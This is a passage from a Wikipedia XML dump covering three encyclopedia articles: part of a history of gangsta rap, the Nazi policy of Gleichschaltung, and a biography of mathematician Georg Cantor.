Aside from electro hop, early pioneer hardcore hip hop artists, including most notably [[Ice-T]], gained underground fame in the Los Angeles area during the early 1980s.  Ice-T is often considered the earliest gangsta rapper, though paradoxically, he is most well known to mainstream America for the controversy regarding &quot;Cop Killer&quot;, a song from his [[heavy metal music|heavy metal]] band [[Body Count]]'s self-titled debut album which bears virtually no resemblance to modern forms of gangsta rap.  Aside from N.W.A and Ice-T, early West Coast gangsta rappers include [[Too Short|Too $hort]] (from [[Oakland, California]]) and others from [[Compton, California|Compton]] and [[Watts, Los Angeles, California|Watts]], Los Angeles, as well as Oakland, [[San Francisco]] and [[San Diego]].

By the late [[1980s]], gangsta rap began to become a major force in hip hop.  The first blockbuster hip hop album was the [[West Coast hip hop|West Coast]] gangsta rap album ''[[Straight Outta Compton]]'' by N.W.A first released in 1988 (see [[1988 in music]]).  ''Straight Outta Compton'' also established West Coast hip hop as a vital genre, and a rival of hip hop's long-time capital, [[New York City]].  ''Straight Outta Compton'' sparked the first major controversy regarding hip hop lyrics when their song &quot;[[Fuck Tha Police]]&quot; earned a letter from the [[FBI]] strongly expressing [[law enforcement]]'s resentment of the song.Eazy-E , the leader of the group was called the Godfather of gangsta rap , because of making such hardcore Gansta Rap songs .

==Gangsta rap in the [[1990s]]==
===G funk and Death Row Records===
&lt;div style=&quot;float:right;margin:10px;width:100px&quot;&gt;
[[Image:Ice Cube-The Predator (album cover).jpg|frame|none|''The Predator'' by Ice Cube]]
[[Image:Dr.DreTheChronicalbumcover.jpg|frame|none|Dr. Dre's ''The Chronic'']]
[[Image: Raekwon only.jpg|frame|none|[[Raekwon]]- ''[[Only Built 4 Cuban Linx]]'']]
[[Image:NasIllmatic.jpg|frame|none|Nas' ''[[Illmatic]]'']]
&lt;/div&gt;
In 1992 (see [[1992 in music]]) former N.W.A member [[Dr. Dre]] released ''[[The Chronic]]'', which further established the dominance of West Coast gangsta rap and [[Death Row Records]], and is also the beginning of [[G-funk]], a slow, drawled form of hip hop that dominated the charts for some time.  Extensively sampling [[P-Funk]] bands, especially [[Parliament (band)|Parliament]] and [[Funkadelic]], G-funk was multi-layered, yet simple and easy to dance to, with anti-authoritarian lyrics that helped endear it to many young listeners.  Another G-Funk success was [[Ice Cube|Ice Cube]]'s [[The Predator|Predator]] album released on the same time as [[The Chronic]] in [[1992]]. It sold over 5 million copies and was #1 in the Charts. Despite the fact that Ice Cube wasn't a [[Death Row]] artist. One of the genre's biggest crossover stars was Dre's protégé [[Snoop Doggy Dogg]] (''[[Doggystyle]]'', 1993), whose exuberant party-oriented themes made songs such as &quot;Gin and Juice&quot; party anthems and top hits nationwide.  [[Tupac Shakur]] (''[[Me Against the World]]'', 1995) has endured as one of the most successful West Coast hip hop artists of all time.  Snoop and Tupac were both artists on [[Death Row Records]], owned by Dre and [[Suge Knight|Marion &quot;Suge&quot; Knight]]. Many of Tupac's greatest hits sampled or [[Interpolation (music)|interpolated]] earlier music by [[Zapp (band)|Zapp &amp; Roger]].

Another label , Ruthless Records , also marked a succes with his founder : Eazy-E , Ruthless Records , label of the most pioneering  group in the history of Gangsta Rap to exist : NWA , after the group split up the 5 members headed there own way , Ice Cube left first in 1989 for financial reasons , Dr.Dre in 1991 as the second one to make Deathrow Records with bodyguard Suge Knight , MC Ren and Eazy-E both kept with Ruthless Records  for a solo  career , 
DJ Yella also kept with Ruthless Records to help MC Ren and Eazy-E with there beats (since he was a DJ ).A big feud began between the Deathrow Records and the Ruthless Records camp .
Eazy-E was dissed in almost every song on Dr.Dre 's 'The Chronic'. Eazy-E had no other choice but to fight back . Eazy-E released his second own solo album 'It's On Dre (187um Killa) ' where he dissed Dr.Dre back . But Eazy-E also putted a little picture in the album box showing 
Dr.Dre when he was with another group called &quot;World Class Wreckin' Crew&quot; where Dr.Dre wears make-up . Dr.Dre didn't say a thing back , with the outcome : the Ruthless Records camp wins the feud .Even though they defeated Dr.Dre , one of world's best-known hip hop producers and rappers , and his camp . Eazy-E's victory over Dr.Dre and Deathrow Records didn't last long , since the dead of Eazy-E in  1995 by AIDS , Ruthless Records , Eazy-E and MC Ren and there glorious victory over Deathrow Records is largely forgotten .

===Mafioso rap===
''''Mafioso rap'''' is a hip hop sub-genre which flourished in the mid-1990s. It is the pseudo-[[Mafia]] extension of [[East Coast hip hop|East Coast]] [[hardcore rap]], and was the counterpart of West Coast [[G-Funk]] rap during the [[1990s]]. In contrast to [[West Coast hip hop|West Coast]] Gangsta rappers, who tended to depict realistic urban life on the ghetto streets, Mafioso rappers' subject matter included self-indulgent and luxurious fantasies of rappers as Mobsters, or ''Mafiosis'', while making numerous references towards notorious crime organizations of the Italian underworld, including the [[Gambino]] crime family and ''[[La Cosa Nostra]]''. Fantasized and fictional narratives told by Mafioso rappers are often adapted versions of classic crime thrillers, most notably ''[[Bonnie and Clyde (film)|Bonnie and Clyde]]'', ''[[The Godfather]]'', ''[[Goodfellas]]'', ''[[Casino (film)|Casino]]'', ''[[King of New York]]'', and ''[[Scarface (1983 film)|Scarface]]''. Another trademark feature of Mafioso rap is the idolizing of high profile organized crime figures. These crime kingpins range from legendary gangsters of the [[1920s]] and [[1930s]] such as [[Al Capone]], [[Frank Costello]], and [[Lucky Luciano]], to the druglords of Latin America (including [[Pablo Escobar]]).

[[Kool G Rap]] was one of the first rappers to embrace the Mafioso theme in his subject matter.  On his debut album, ''Road to the Riches'' ([[1989]]), Kool G Rap showcases graphic narratives about the &quot;''glamorous life''&quot; of a criminal:

:''Gettin' richer and richer, the police took my picture'' 
:''But I still supplied, some people I knew died''
:''Murders and homicides for bottles of suicide'' 
:''Money, jewelry, livin' like a star'' 
:''And I wasn't too far from a Jaguar car ''
:''In a small-time casino, the town's Al Pacino ''
:''For all of the girls, the pretty boy Valentino ''
:''I shot up stores and I kicked down doors ''
:''Collecting scars from little neighborhood wars ''
:''Many legs I broke, many necks I choked ''
:''And if provoked I let the pistol smoke ''
:''Eyes of hate and their hearts get colder ''
:''Some young male put in jail ''
:''His lawyer so good his bail is on sale ''
:''Lookin' at the hourglass, how long can this power last? ''
:''Longer than my song but he already fell ''
:''He likes to eat hardy, party ''
:''Be like John Gotti, and drive a Maserati''

Kool G Rap's epic tales, chronicling the [[crime]] underworld of [[drug trafficking]] and the luxurious pleasures of the high-end illegal business, helped inspire the related Mafioso rap phenomenon of the mid-1990s, which later achieved some mainstream success and great critical acclaim with albums such as [[Raekwon]]'s'' [[Only Built 4 Cuban Linx]]'', [[AZ (rapper)|AZ]]'s ''[[Doe Or Die]]'', and [[Jay-Z]]'s ''[[Reasonable Doubt]]''. At the genre's zenith in the [[pop culture|mainstream]] [[music industry]], mafioso-inspired albums, including [[Nas (rapper)|Nas]]'s ''[[It Was Written]]'' and [[Biggie]]'s ''[[Life After Death]]'', went on to become multi-platinum commercial successes.

===The rise of Bad Boy records===
Meanwhile, [[East Coast rap]]pers like [[Black Moon]] (''[[Enta da Stage]]'', 1993), [[Mobb Deep]] (''[[The Infamous (album)|The Infamous]]'', 1995), [[Nas (rapper)|Nas]] (''[[Illmatic]]'', 1994) and the [[Notorious B.I.G.]] (''[[Ready to Die]]'', 1994) pioneered a grittier sound in East Coast gangsta rap.  B.I.G. and the rest of [[Puff Daddy]]'s [[Bad Boy Records]] roster paved the way for New York City to take back chart dominance from the West Coast as gangsta rap continued to explode into the mainstream. The &quot;East Coast/West Coast&quot; battle between Death Row Records and Bad Boy Records resulted in the deaths of Death Row's Tupac Shakur and Bad Boy's Notorious B.I.G.  This had a knock-on effect on Death Row itself, which sank quickly when most of its big name artists like [[Dr. Dre]] and [[Snoop Dogg]] left and it found itself on the receiving end of multiple lawsuits.  Dr. Dre, at the [[MTV Video Music Awards]], claimed that &quot;gangsta rap was dead&quot;, which proved untrue.  Bad Boy Records survived, though not untarnished. Puff Daddy's commercial empire continued to lose the support of the hip hop fan base with a mainstream sound aimed at middle-class America, and challenges from [[Atlanta]] and, especially, [[Master P]]'s [[No Limit Records|No Limit]] stable of popular rappers.

===Southern and Midwestern gangsta rap===
After the deaths of Biggie and Tupac, gangsta rap remained a major commercial force.  However, most of the industry's major labels were in turmoil, or bankrupt, and new locations sprang up.

[[Atlanta, Georgia|Atlanta]] had been firmly established as a hip hop center by artists such as [[Goodie Mob]] and [[Outkast]] and many other Southern hip hop artists emerged in their wake, with gangsta rap artists achieving the most pop-chart success.  [[Jermaine Dupri]], an Atlanta-born [[record producer]] and talent scout, had great success after discovering youthful pop stars [[Kris Kross]] (''[[Totally Krossed Out]]'', 1992) performing at a mall, and later masterminded a large roster of commercially successful acts on his So So Def label which although mostly weighted towards pop-rap &amp; R&amp;B, also included gangsta rap artists such as [[Da Brat]] (''[[Funkdafied]]'', 1994), and himself.  Perhaps the most famous gangsta rapper from the South is [[Ludacris]] (''[[Word of Mouf]]'', 2001) who would become an enormously successful pop/gangsta-rap star for [[Def Jam]] in the 21st century.

[[Master P]]'s [[No Limit Records]] label, based out of [[New Orleans]], also became quite popular, though critical success was very scarce, with the exceptions of some later additions like [[Mystikal]] (''[[Ghetto Fabulous]]'', 1998).  No Limit had begun its rise to fame with Master P's ''[[The Ghetto Is Trying to Kill Me!]]'' (1994, [[1994 in music]]), and subsequent hits by [[Rappin- 4-Tay]] (''[[Don't Fight the Feeling]]'', 1994), [[Silkk the Shocker]] (''[[Charge It 2 Da Game]]'', 1998) and [[C-Murder]] (''[[Life or Death]]'', 1998).  [[Cash Money Records]], also based out of New Orleans, had enormous commercial success with a very similar musical style and quantity-over-quality business approach to [[No Limit]] but achieved even less critical acclaim and were widely ridiculed.

===The mainstream era===
Before the late nineties, gangsta rap and hip hop in general, while being extremely popular, had always been seen as a fringe genre that lay firmly outside of the pop mainstream.  However, the rise of Bad Boy Records signaled a major stylistic change in gangsta rap, as it morphed into a new subgenre of hip hop which would become even more commercially successful and become completely absorbed into the mainstream musical fabric of America. Notorious B.I.G. is seen by many to have initiated gangsta rap's move towards conquering the pop charts, as he was the first hardcore gangsta rapper to produce albums with a calculated attempt to include both gritty gangsta narratives and polished, catchy, danceable pop productions entirely aimed at the clubs and at the mainstream pop charts. Between the release of Biggie's debut album [[Ready to Die]] in 1994 and his follow-up [[Life after Death]] in 1997, his sound changed from the darker, sample-heavy production of Ready to Die to a cleaner, more upbeat sound fashioned for popular consumption (though the references to guns, drug dealing and life as a thug on the street remained.)  [[R&amp;B]]-styled hooks and instantly recognizable samples of well-known [[soul music|soul]] and [[pop music|pop]] songs from the [[1970s]] and [[1980s]] were the staples of this sound, which was showcased primarily in his latter-day work for [[The Notorious B.I.G.]] (&quot;Mo Money, Mo Problems&quot;), [[Ma$e]] (&quot;Feels So Good&quot;), and non Bad Boy artists such as [[Jay-Z]] (&quot;Can I Get A...&quot;) and Nas (&quot;Street Dreams&quot;). Very little of this commercially minded music was met with acclaim from hip hop enthusiasts or critics, however - Puff Daddy's &quot;loop it and leave it&quot; style of sampling, which most of the time just consisted of rapping over someone else's instrumental, was criticized heavily. Generally, the era in which this sound prospered (called the &quot;Shiny Suit Era&quot; by some due to Puffy and Ma$e's tendacies to wear expensive clothing that would literally shine) is not fondly remembered, and it is no coincidence that its rise to prosperity was virtually paralleled by a surge of activity in underground and alternative hip hop scenes. 

Also achieving similar levels of success with a similar sound at the same time as Bad Boy was [[Master P]] and his [[No Limit Records|No Limit]] label in [[New Orleans]], as well as the New Orleans upstart [[Cash Money Records|Cash Money]] label. A Cash Money artist, [[The B.G.]], popularized a [[catch phrase]] in [[1999]] that sums up what the majority of late-nineties mainstream hip hop focused on subject-wise: &quot;[[bling-bling|Bling-Bling]].&quot; Whereas much gangsta rap of the past had portrayed the rapper as being a victim of urban squalor, the persona of late-nineties mainstream gangsta rappers was far more weighted towards hedonism and showing off the best jewelry, clothes, [[liquor]], and women. Many of the artists who achieved such mainstream success in fact started out as straight gangsta rappers - artists such as Ma$e, Jay-Z and [[Cam'Ron]] are straight out of the mid-90s New York school of gritty gangsta rap, influenced by artists such as the Notorious B.I.G, Mobb Deep, and Nas.  Ma$e, Jay-Z and Cam'Ron are also typical of the more relaxed, casual flow that became the pop-gangsta norm.  

Pop-inflected gangsta rap continues to be successful into the 21st century, with many artists deftly straddling the divide between their hip hop audience and their pop audience, such as [[Ja Rule]] and [[Jay-Z]].  The influence of West Coast gangsta rapper [[2Pac]] on the East Coast gangsta rap scene has also become increasingly apparent in the new century.

But on march 1995 something tragic happened that changed the whole face of Gangsta Rap : 
Eazy E , the godfather of Gangsta Rap died of AIDS .But even if he was the godfather of 
Gangsta Rap , his dead was overshadowed by the drive-by shooting that both killed B.I.G and 2Pac   a year later , thus letting Eazy E's legacy  almost forgotten , nowadays only true fans remember him.....

===Hardcore East Coast gangsta rap after 1997===
Although the &quot;softer&quot; pop/R&amp;B-inflected artists received the most commercial success, hardcore gangsta rap continued to thrive on the East Coast.  [[Baltimore]]-born [[DMX_(rapper)|DMX]] is often credited with reviving New York's hardcore scene with ''[[It's Dark and Hell Is Hot]]'', his [[1998 in music|1998]] debut, which entered the charts at #1. DMX's work was clearly inspired by that of [[Nas (rapper)|Nas]] (''[[Illmatic]]'', 1994), [[The Wu-Tang Clan]] (''[[Enter the Wu-Tang (36 Chambers)]]'', 1993), and 2Pac (''[[All Eyez On Me]]'', 1996). DMX's management company, [[Ruff Ryders Entertainment]], ran a record label by the same name which also featured [[Eve (rapper)|Eve]] (''[[Scorpion (album)|Scorpion]]'', 2001) and [[The Lox]], defectors from Bad Boy (''[[We Are the Streets]]'', 2000).  

However, the biggest success for post-Bad Boy East Coast gangsta was [[50 Cent]], (Fiddy) who achieved worldwide superstardom after jointly signing with [[Eminem]]'s [[Shady Records]] and Dr. Dre's [[Aftermath Entertainment]] and releasing the album ''[[Get Rich or Die Tryin']]'', before launching numerous similarly styled affiliate artists such as [[Lloyd Banks]], [[Young Buck]] and [[Tony Yayo]].  50 Cent's music was harder-edged than most artists who had achieved similar levels of success, though he made occasional concessions to a more mainstream sound, particularly in his single releases.

==See also==
*[[G-Funk]]
*[[Hip hop music]]
*[[History of hip hop music]]
*[[Rapping]]

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  <page>
    <title>Gleichschaltung</title>
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      <text xml:space="preserve">The [[German language|German]] word '''''Gleichschaltung''''' {{Audio|De-Gleichschaltung-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}} (literally &quot;[[synchronising]]&quot;, synchronization) is used in a [[political]] sense to describe the process by which the [[Nazi Germany|Nazi regime]] successively established a system of [[totalitarian]] control over the individual, and tight coordination over all aspects of society and commerce. Another possible translation is &quot;making equal&quot;. One goal of this politics was to enforce a specific way of doctrine and thinking to everybody, eliminating individualism.

The [[Nazi party]]'s desire for total control required the elimination of all other forms of influence. The period from 1933 to around 1937 was characterized by the systematic elimination of non-Nazi organizations that could potentially influence people, such as [[trade union]]s and [[political party|political parties]]. Those critical of Hitler's agenda, especially his close ties with the industry were suppressed or intimidated. The regime also assailed the influence of the [[church]]es, for example by instituting the [[Ministry of Ecclesiastical Affairs]] under [[Hanns Kerrl]]. Organizations that the administration could not eliminate, such as schools, came under its direct control. 

The ''Gleichschaltung'' included also the formation of various organisations with compulsory membership for segments of the population, in particular the youth. Boys served as apprentices in the ''[[Hitlerjugend]]'' (&quot;Hitler Youth&quot;) beginning at the age of six, and at age 10, entered the ''[[Jungvolk]]'' (&quot;Young Folk&quot;) and served there until entering the Hitler Youth proper at age 14. Boys remained there until age 18, at which time they entered into the ''Arbeitsdienst'' (&quot;Labor Service&quot;) and the armed forces.  Girls became part of the ''[[Jungmädel]]'' (&quot;Young Maidens&quot;) at age 10, and at age 14 were enrolled in the ''[[Bund Deutscher Mädel]]'' (&quot;League of German Maidens&quot;). Girls remained in the BDM until age 21 and, upon reaching the age of 18, were sent to serve their ''Landjahr'' &amp;mdash; a year of labor on a farm.  In 1938, membership in the Hitler Youth numbered just under 8 million.

For workers, an all-embracing recreational organization called ''[[Kraft durch Freude]]'' (&quot;Strength through Joy&quot;) was set up.  In Nazi Germany, even hobbies were regimented; all private clubs (whether they be for chess, soccer, or woodworking) were brought under the control of KdF and, in turn, the Nazi Party. The ''Kraft durch Freude'' organization provided vacation trips (skiing, swimming, concerts, ocean cruises, and so forth).  With some 25 million members, KdF was the largest of the many organizations established by the Nazis.

== Specific measures ==
In a more specific sense, ''Gleichschaltung'' refers to the legal measures taken by the government during the first months following [[January 30]], [[1933]], when [[Adolf Hitler]] became [[Chancellor of Germany]]. In this sense, the term was used by the Nazis themselves.
#One day after the [[Reichstag fire]] on [[February 27]], [[1933]], the increasingly [[senility|senile]] [[Reichspräsident|President of Germany]] [[Paul von Hindenburg]], acting at Hitler's request, issued the [[Reichstag Fire Decree]]. This decree suspended most [[human rights]] provided for by the 1919 [[constitution]] of the [[Weimar Republic]] and thus allowed for the arrest of political adversaries, mostly [[Communists]], and for general terrorizing by the [[Sturmabteilung|SA]] to intimidate the voters before the upcoming election.
#In this atmosphere the ''[[Reichstag (institution)|Reichstag]]'' general election of [[March 5]], [[1933]] took place. These yielded only a slim majority for Hitler's [[coalition government]] and no majority for Hitler's own [[Nazi party]].
#When the newly-elected ''Reichstag'' first convened on [[March 23]], [[1933]], (not including the Communist delegates, since their party had already been banned by that time) it passed the [[Enabling Act]] (''Ermächtigungsgesetz''), transferring all legislative powers to the Nazi government and, in effect, abolishing the remainder of the Weimar constitution as a whole. Soon afterwards the government banned the [[SPD|Social Democratic]] party, which had voted against the Act, while the other parties chose to dissolve themselves to avoid arrests and [[concentration camp]] imprisonment.
# The &quot;First ''Gleichschaltung'' Law&quot; (''Erstes Gleichschaltungsgesetz'') ([[March 31]], [[1933]]) gave the governments of the ''[[States of Germany | Länder]]'' the same legislative powers that the ''Reich'' government had received through the Enabling Act.
# A &quot;Second ''Gleichschaltung'' Law&quot; (''Zweites Gleichschaltungsgesetz'') ([[April 7]], [[1933]]) deployed one ''Reichsstatthalter'' ([[proconsul]]) in each [[state]], apart from [[Prussia]], which had already been under Nazi control since the ''[[Preußenschlag]]'' of [[July 20]], [[1932]]. These officers were supposed to act as local [[president]]s in each state, appointing the governments. For [[Prussia]], which comprised the vast majority of Germany anyway, Hitler reserved these rights for himself.
# The trade union association ADGB (''[[Allgemeiner Deutscher Gewerkschaftsbund]]'') was shattered on [[May 2]], [[1933]] (the day after [[Labor Day]]), when [[Sturmabteilung|SA]] and NSBO (''[[Nationalsozialistische Betriebszellenorganisation]]'') units occupied union facilities and ADGB leaders were imprisoned. Other important associations were forced to merge with the [[German Labor Front]] (''Deutsche Arbeitsfront'' (DAF)) in the following months.
# The ''Gesetz gegen die Neubildung von Parteien'' (&quot;Law against the establishment of political parties&quot;) ([[July 14]], [[1933]]) forbade any creation of new political parties.
# The ''Gesetz über den Neuaufbau des Reiches'' (&quot;Law concerning the reconstruction of the ''Reich''&quot;) ([[January 30]], [[1934]]) abandoned the concept of a federal republic. Instead, the political institutions of the ''Länder'' were practically abolished altogether, passing all powers to the central government. A law dated [[February 14]], [[1934]] dissolved the ''[[Reichsrat (Germany)|Reichsrat]]'', the representation of the ''Länder'' at the federal level.
# In the summer of 1934, Hitler instructed the [[Schutzstaffel|SS]] to kill [[Ernst Röhm]] and other leaders of the Nazi party's [[Sturmabteilung|SA]], former Chancellor [[Kurt von Schleicher]] and several aides to former Chancellor [[Franz von Papen]] in the so-called [[Night of the Long Knives]] ([[June 30]], [[1934]]/[[July 1]], [[1934]]). These measures received retrospective sanction in a special one-article [[Law Regarding Measures of State Self-Defense]] ''(Gesetz über Maßnahmen der Staatsnotwehr)'' ([[July 3]], [[1934]]).
# At nine o'clock in the morning of [[August 2]], [[1934]], ''[[President of Germany|Reichspräsident]]'' [[Paul von Hindenburg]] died at the age of 86. Three hours before, the government had issued a law to take effect the day of his death; this prescribed that the office of the ''Reichspräsident'' should be [[merged|united]] with that of the ''Reichskanzler'' and that the competencies of the former should be transferred to the ''&quot;[[Führer]] und Reichskanzler Adolf Hitler&quot;'', as the law stated. Hitler henceforth demanded the use of that title. Thus the last [[separation of powers]] were abolished.
Thus, Hitler was then absolute dictator of Germany until his suicide in 1945.

== Legislation == 
* [[Reichstag Fire Decree]]
* [[Enabling Act]]
* [[Law Regarding Measures of State Self-Defense]]

== See also == 
* [[Nazi Germany]]
* [[Adolf Hitler]]
* [[Totalitarianism]]
* [[Centre Party (Germany)]]

== Philology ==
This [[compound word]] is better comprehended by those who speak other languages by listing its predecessory uses in German. The word ''gleich'' in German means ''alike'', ''equal'', or ''the same''; ''schaltung'' means something like ''switching''. The word Gleichschaltung had two uses in German for physical, rather than political, meanings:

#  A locking [[clutch]]; manual clutches on cars usually do not press the plates one against each other, so they lose about three percent of power; some race cars use locking clutches in which the driven plate travels at the same speed as that connected to the engine; hence it wears out faster. 
#  A certain means of wiring an [[alternating current]] [[electrical generator]], and AC electric motors, so that when the generator is made to turn at a given speed, or even turned a certain angle, each motor connected to it will also turn at that speed, or to the same angle. This is the meaning which is most commonly referred to explain this word: the political party is considered the generator, and every member of a professional group or society is considered a motor wired to it.

However because of the Nazi associations of the term, its use for these physical meanings has largely been abandoned after the war.

== Sources; further reading ==
* Karl Kroeschell, ''Deutsche Rechtsgeschichte 3 (seit 1650),'' 2nd ed. 1989, ISBN 3-531-22139-6
* Karl Kroeschell, ''Rechtsgeschichte Deutschlands im 20. Jahrhundert,'' 1992, ISBN 3-8252-1681-0
* Lebendiges virtuelles Museum Online: Die Errichtung des Einparteienstaats 1933, http://www.dhm.de/lemo/html/nazi/innenpolitik/einparteienstaat/index.html

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    <title>Glagolitic</title>
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    <title>George Cantor</title>
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    <title>Georg Cantor</title>
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      <text xml:space="preserve">[[Image:Georg_Cantor.jpg|thumb|222px|Georg Cantor|right]]

'''Georg Ferdinand Ludwig Philipp Cantor''' ([[March 3]], [[1845]], [[St. Petersburg]] &amp;ndash; [[January 6]], [[1918]], [[Halle]]) was a German mathematician who is best known as the creator of [[set theory]]. Cantor established the importance of [[one-to-one correspondence]] between sets, defined [[infinite set|infinite]] and [[well-order|well-ordered sets]], and proved that the [[real number]]s &quot;are more numerous&quot; than the [[natural number]]s. In fact, [[Cantor's theorem]] implies the existence of an &quot;infinity of infinities.&quot; He defined the [[cardinal number|cardinal]] and [[ordinal number|ordinal]] numbers, and their arithmetic. Cantor's work is of great philosophical interest, a fact of which he was well aware. 

Cantor's work encountered [[Controversy over Cantor's theory|resistance]] from mathematical contemporaries such as [[Leopold Kronecker]] and [[Henri Poincaré]], and later from [[Hermann Weyl]] and [[L.E.J. Brouwer]]. [[Ludwig Wittgenstein]] raised [[philosophical objections to Cantor's theory|philosophical objections]]. His recurring bouts of depression from 1884 to the end of his life were once blamed on the hostile attitude of many of his contemporaries, but these bouts can now be seen as probable manifestations of a [[bipolar disorder]].

Nowadays, the vast majority of mathematicians who are neither [[constructive mathematics|constructivists]] nor [[finitism|finitists]] accept Cantor's work on transfinite sets and arithmetic, recognizing it as a major [[paradigm shift]]. In the words of [[David Hilbert]]: &quot;No one shall expel us from the Paradise that Cantor has created.&quot; 

==Life==
Georg Cantor was the son of Georg Waldemar Cantor, a [[Denmark|Danish]] businessman who was a [[broker]] on the St Petersburg Stock Exchange, and Maria Anna Böhm, a [[Russia|Russian]]. Georg, an outstanding [[violin]]ist, inherited their considerable musical and artistic talents. Although the name Cantor is [[Judaism|Jewish]], Georg was brought up [[Lutheran]], the faith of his father; his mother was [[Roman Catholic]]. 

When Cantor's father became ill, the family moved to [[Germany]] in 1856, first to [[Wiesbaden]] then to [[Frankfurt]], seeking winters milder than those of [[St. Petersburg]]. In 1860, Cantor graduated with distinction from the Realschule in [[Darmstadt]]; his exceptional skills in mathematics, [[trigonometry]] in particular, were noted. In 1862, following his father's wishes, Cantor entered the [[ETH Zurich| Zurich Polytechnic]] and began studying mathematics.

After his father's death in 1863, Cantor shifted his studies to the [[University of Berlin]], attending lectures by [[Weierstrass]], [[Kummer]], and [[Kronecker]], and befriending his fellow student [[Hermann Schwarz]]. He spent a summer at the University of Göttingen, then and later a very important center for mathematical research. In 1867, Berlin granted him the Ph.D. for a thesis on [[number theory]], ''De aequationibus secundi gradus indeterminatis''. After teaching one year in a Berlin girl's school, Cantor took up a position at the [[University of Halle]], where he spent his entire career. He was awarded the requisite [[habilitation]] for his thesis on number theory. 

In 1874, Cantor married Vally Guttmann. They had 6 children, the last born in 1886. Cantor was able to support a family despite modest academic pay, thanks to an inheritance from his father. During his honeymoon in [[Switzerland]], Cantor spent much time in mathematical discussions with [[Richard Dedekind]], whom he befriended two years earlier while on another Swiss holiday.

Cantor was promoted to Extraordinary Professor in 1872, and made full Professor in 1879. To attain the latter rank by one's 34th year was a notable accomplishment. But Cantor very much desired a chair at a more prestigious university, in particular at Berlin, then the leading German university. However, [[Kronecker]], who headed mathematics at Berlin until his 1891 death, and his colleague [[Hermann Schwarz]] were not agreeable to having Cantor as a colleague. Worse yet, Kronecker, who was peerless among German mathematicians while he was alive,  fundamentally disagreed with the thrust of Cantor's work. Kronecker, now seen as one of the founders of the [[constructive mathematics | constructive viewpoint in mathematics]], disliked much of Cantor's set theory because it asserted the existence of sets satisfying certain properties, without giving a specific example of a set whose members did indeed satisfy those properties. Cantor came to believe that  Kronecker's stance ruled out his (Cantor's) ever leaving Halle.

In 1881, Cantor's Halle colleague [[Eduard Heine]] died, creating a vacant chair. Halle accepted Cantor's suggestion that it be offered to [[Dedekind]], [[Heinrich Weber]], and [[Franz Mertens]], in that order, but each declined the chair after being offered it. Dedekind's lack of interest is surprising, given that he taught in a low level engineering school, and carried burdensome administrative duties. This episode is revealing of Halle's lack of standing among German mathematics departments. [[Wangerin]] was eventually appointed, but he was never close to Cantor.

In 1884, Cantor suffered his first known bout of [[depression]]. This emotional crisis led him to apply to lecture on philosophy rather than on mathematics. Every one of the 52 letters Cantor wrote to [[Mittag-Leffler]] that year attacked Kronecker. Cantor soon recovered, but a passage from one of these letters is revealing of the damage to his self-confidence: &lt;blockquote&gt;&quot;... I don't know when I shall return to the continuation of my scientific work. At the moment I can do absolutely nothing with it, and limit myself to the most necessary duty of my lectures; how much happier I would be to be scientifically active, if only I had the necessary mental freshness.&quot; &lt;/blockquote&gt; Although he performed some valuable work after 1884, he never attained again the high level of his remarkable papers of 1874-84. He eventually sought a reconciliation with Kronecker, which Kronecker graciously accepted. Nevertheless, the philosophical disagreements and difficulties dividing them persisted. It was once thought that Cantor's recurring bouts of depression were triggered by the opposition his work met at the hands of [[Kronecker]]. While Cantor's mathematical worries and his difficulties dealing with certain people were greatly magnified by his depression, it is doubtful whether they were its cause, which was probably [[bipolar disorder]].

When Cantor was depressed, he turned away from mathematics and towards [[philosophy]]. During his 1884 illness, he had asked to lecture on philosophy instead of mathematics. In 1888, he published his correspondence with several philosophers on the philosophical implications of his set theory. [[Edmund Husserl]] was his Halle colleague and friend, 1886-1901. While Husserl made his reputation in philosophy, his doctorate was in mathematics and supervised by [[Weierstrass]]. On Cantor, Husserl, and [[Frege]], see Hill and Rosado Haddock (2000). Cantor also wrote on the theological implications of his mathematical work; for instance, he identified the [[Absolute Infinite]] with [[God]].

Cantor believed that [[Francis Bacon]] wrote the plays attributed to [[Shakespeare]]. During his 1884 illness, he began an intense study of [[Elizabethan literature]] in an attempt to prove his Bacon authorship thesis. He eventually published two pamphlets, in 1896 and 1897, setting out his thinking about Bacon and Shakespeare.

In 1890, Cantor was instrumental in founding the ''[[Deutsche Mathematiker-Vereinigung]]'', chaired its first meeting in Halle in 1891, and was elected its first president. This is strong evidence that Kronecker's attitude had not been fatal to his reputation. Setting aside the animosity he felt towards [[Kronecker]], Cantor invited him to address the meeting; Kronecker was unable to do so because his spouse was dying at the time.

After the 1899 death of his youngest son, Cantor suffered from chronic depression for the rest of his life, for which he was excused from teaching on several occasions and repeatedly confined in various [[sanatorium|sanatoria]]. He did not abandon mathematics completely, lecturing on the paradoxes of set theory (eponimously attributed to [[burali-forti paradox|Burali-Forti]], [[russell's paradox|Russell]], and [[cantor's paradox|Cantor]] himself) to a meeting of the ''Deutsche Mathematiker-Vereinigung'' in 1903, and attending the International Congress of Mathematicians at Heidelberg in 1904. 

In 1911, Cantor was one of the distinguished foreign scholars invited to attend the 500th anniversary of the founding of the [[University of St. Andrews]] in [[Scotland]]. Cantor attended, hoping to meet [[Bertrand Russell]], whose newly published ''[[Principia Mathematica]]'' repeatedly cited Cantor's work, but this did not come about. The following year, St. Andrews awarded Cantor an honorary doctorate, but illness precluded his receiving the degree in person. 

Cantor retired in 1913, and suffered from poverty, even hunger, during [[WWI]]. The public celebration of his 70th birthday was cancelled because of the war. He died in the sanatorium where he had spent the final year of his life.

==Work==
Cantor was the originator of [[set theory]], 1874-84. He was the first to see that [[infinite sets]] come in  different sizes, as follows. He first showed that given any set ''A'', the set of all possible subsets of ''A'', called the [[power set]] of ''A'', exists. He then proved that the [[power set]] of an infinite set ''A'' has a size greater than the size of ''A'' (this fact is now known as [[Cantor's theorem]]). Thus there is an infinite hierarchy of sizes of infinite sets, from which springs the transfinite [[cardinal number|cardinal]] and [[ordinal number]]s, and their peculiar arithmetic. His notation for the cardinal numbers was the Hebrew letter [[aleph number|aleph]] with a natural number subscript; for the ordinals he employed the Greek letter omega. 

Cantor was the first to appreciate the value of [[one-to-one correspondence]]s (hereinafter denoted &quot;1-to-1&quot;) for set theory. He defined [[finite set|finite]] and [[infinite set]]s, breaking down the latter into [[countable set|denumerable]] and [[uncountable set|nondenumerable set]]s. There exists a 1-to-1 correspondence beween any denumerable set and the set of all [[natural number]]s; all other infinite sets are nondenumerable. He proved that the set of all [[rational number]]s is denumerable, but that the set of all [[real number]]s is not and hence is strictly bigger. The [[cardinality]] of the natural numbers is [[aleph number|aleph-null]]; that of the reals is larger, and is at least [[aleph number|aleph-one]] (the latter being the next smallest cardinal after aleph-null).

